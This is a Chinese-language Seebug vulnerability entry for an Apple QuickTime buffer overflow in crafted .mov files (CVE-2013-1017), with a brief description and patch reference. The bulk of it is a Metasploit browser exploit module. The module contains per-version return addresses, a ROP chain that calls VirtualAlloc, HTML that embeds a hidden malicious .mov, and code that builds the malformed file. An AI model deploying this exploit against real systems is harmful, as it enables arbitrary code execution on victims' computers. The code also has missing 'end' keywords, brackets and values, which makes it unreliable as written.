Apple QuickTime 畸形MOV文件处理缓冲区溢出漏洞(CVE-2013-1017)

ID SSV:60929
Type seebug
Reporter Root
Modified 2013-08-05T00:00:00


BUGTRAQ ID: 60097 CVE(CAN) ID: CVE-2013-1017


Windows 7/Vista/XP平台上的QuickTime 7.7.4没有正确处理Alis记录内的如'rdrf'或'dref'的某些元素的数据长度,特制的.mov文件即可触发缓冲区溢出,造成任意代码执行。 0 Apple Quicktime < 7.7.4 厂商补丁:


Apple已经为此发布了一个安全公告(HT5770)以及相应补丁: HT5770:About the security content of QuickTime 7.7.4 链接:

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

require 'msf/core'

class Metasploit4 &lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
      'Name'           =&gt; &quot;Apple Quicktime 7 Invalid Atom Length Buffer Overflow&quot;,
      'Description'    =&gt; %q{
        This module exploits a vulnerability found in Apple Quicktime. The flaw is
        triggered when Quicktime fails to properly handle the data length for certain
        atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
        overflow by loading a specially crafted .mov file, and allows arbitrary
        code execution under the context of the user.
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
          'Jason Kratzer', # Original Discovery &amp; PoC (overlapped finding), aka pyoor
          'Tom Gallagher', # Original Discovery (overlapped)
          'Paul Bates',    # Original Discovery (overlapped)
          'sinn3r'         # Metasploit
      'References'     =&gt;
          [ 'CVE', '2013-1017' ],
          [ 'BID', '60097' ],
          [ 'URL', '' ]
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
          # All of the following addresses are from Quicktime.qts
          # RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
          [ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' =&gt; 0x66923467, 'Nop' =&gt; 0x6692346d, 'Pop' =&gt; 0x66849239} ],
          [ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' =&gt; 0x669211C7, 'Nop' =&gt; 0x669211CD, 'Pop' =&gt; 0x668C5B55} ],
          [ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' =&gt; 0x66920D67, 'Nop' =&gt; 0x66920D6D, 'Pop' =&gt; 0x66849259} ],
          [ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' =&gt; 0x66920BD7, 'Nop' =&gt; 0x66920BDD, 'Pop' =&gt; 0x668E963A} ]
      'Payload'        =&gt;
          'BadChars'        =&gt; &quot;\x00&quot;  # js_property_spray no like nilz
      'DefaultOptions'  =&gt;
          'InitialAutoRunScript' =&gt; 'migrate -f'
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; &quot;May 22 2013&quot;

  def get_payload(t)
    p    = ''

    rop =
      0x77c1e844, # POP EBP # RETN [msvcrt.dll]
      0x77c1e844, # skip 4 bytes [msvcrt.dll]
      0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
      0x77c127e5, # INC EBX # RETN [msvcrt.dll]
      0x77c127e5, # INC EBX # RETN [msvcrt.dll]
      0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
      0x2cfe1467, # put delta into eax (-&gt; put 0x00001000 into edx)
      0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
      0x2cfe04a7, # put delta into eax (-&gt; put 0x00000040 into ecx)
      0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
      0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
      0x77c3048a, # POP EDI # RETN [msvcrt.dll]
      0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
      0x77c46efb, # POP ESI # RETN [msvcrt.dll]
      0x77c2aacc, # JMP [EAX] [msvcrt.dll]
      0x77c3b860, # POP EAX # RETN [msvcrt.dll]
      0x77c1110c, # ptr to &amp;VirtualAlloc() [IAT msvcrt.dll]
      0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
      0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]

    p &lt;&lt; rop
    p &lt;&lt; &quot;\x81\xc4\x54\xf2\xff\xff&quot; # Stack adjustment # add esp, -3500
    p &lt;&lt; payload.encoded


  def targetable?(agent)
    if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
      return true
    elsif agent =~ /contype/
      # contype: a mov file request from Apple Quicktime
      return true


  def get_html(t)
    js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
    fake_mov_name = rand_text_alpha(4) + &quot;.mov&quot;
    html = %Q|

    var s = unescape(&quot;#{js_p}&quot;);
    &lt;embed src=&quot;#{get_resource}/#{fake_mov_name}&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/embed&gt;

    html.gsub(/^\t\t/, '')

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    print_status(&quot;Requesting: #{request.uri}&quot;)

    unless targetable?(agent)
      print_error(&quot;Browser not supported, sending 404: #{agent}&quot;)

    print_status(&quot;Target selected as: #{}&quot;) if target

    if request.uri =~ /\.mov$/
      print_status(&quot;Sending specially crafted .mov file&quot;)
      send_response(cli, @exploit, { 'Content-Type' =&gt; 'application/octet-stream' })
      html = get_html(target)
      send_response(cli, html, { 'Content-Type'=&gt;'text/html', 'Cache-Control'=&gt;'no-cache' })

  def sort_bytes(data) { |e| [e].pack('N').scan(/../).reverse.join }.join

  def rop_nop(t)
    [t['Nop']].pack('V*')                    # Ret (QuickTime.qts)

  def exploit
    buf = ''
    buf &lt;&lt; rand_text_alpha(467)              # 467 to align the pivot
    10.times {
      buf &lt;&lt; rop_nop(target)
    buf &lt;&lt; [
      target['Pop'],                       # POP ESP; RET (QuickTime.qts)
      0x20302020                           # Target value for ESP (our ROP payload)
    buf &lt;&lt; rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
    buf &lt;&lt; sort_bytes([target.ret])          # ADD ESP,280; RET (QuickTime.qts) - pivot
    buf &lt;&lt; rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size

    # Quicktime File Format Specifications:
    mov  = &quot;\x00\x00\x06\xDF&quot;                # File size
    mov &lt;&lt; &quot;moov&quot;                            # Movie atom
    mov &lt;&lt; &quot;\x00\x00\x06\xD7&quot;                # size (1751d)
    mov &lt;&lt; &quot;rmra&quot;                            # Reference Movie atom
    mov &lt;&lt; &quot;\x00\x00\x06\xCF&quot;                # size (1743d)
    mov &lt;&lt; &quot;rmda&quot;                            # rmda atom
    mov &lt;&lt; &quot;\x00\x00\x06\xBF&quot;                # size (1727d)
    mov &lt;&lt; &quot;rdrf&quot;                            # Data reference atom
    mov &lt;&lt; &quot;\x00\x00\x00\x00&quot;                # size set to 0
    mov &lt;&lt; &quot;alis&quot;                            # Data reference type: FS alias record
    mov &lt;&lt; &quot;\x00\x00\x06\xAA&quot;                # Size (1706d)
    mov &lt;&lt; rand_text_alpha(8)
    mov &lt;&lt; &quot;\x00\x00\x06\x61&quot;                # Size (1633d)
    mov &lt;&lt; rand_text_alpha(38)
    mov &lt;&lt; &quot;\x12&quot;
    mov &lt;&lt; rand_text_alpha(81)
    mov &lt;&lt; &quot;\xFF\xFF&quot;
    mov &lt;&lt; rand_text_alpha(18)
    mov &lt;&lt; &quot;\x00\x08&quot;                        # Size (8d)
    mov &lt;&lt; rand_text_alpha(8)
    mov &lt;&lt; &quot;\x00\x00&quot;
    mov &lt;&lt; &quot;\x00\x08&quot;                        # Size (8d)
    mov &lt;&lt; rand_text_alpha(8)
    mov &lt;&lt; &quot;\x00\x00&quot;
    mov &lt;&lt; &quot;\x00\x26&quot;                        # Size (38d)
    mov &lt;&lt; rand_text_alpha(38)
    mov &lt;&lt; &quot;\x00\x0F\x00\x0E&quot;
    mov &lt;&lt; &quot;AA&quot;                              # Size (must be invalid)
    mov &lt;&lt; rand_text_alpha(12)
    mov &lt;&lt; &quot;\x00\x12\x00\x21&quot;
    mov &lt;&lt; rand_text_alpha(36)
    mov &lt;&lt; &quot;\x00&quot;
    mov &lt;&lt; &quot;\x0F\x33&quot;
    mov &lt;&lt; rand_text_alpha(17)
    mov &lt;&lt; &quot;\x02\xF4&quot;                        # Size (756h)
    mov &lt;&lt; rand_text_alpha(756)
    mov &lt;&lt; &quot;\xFF\xFF\x00\x00\x00&quot;
    mov &lt;&lt; buf

    @exploit = mov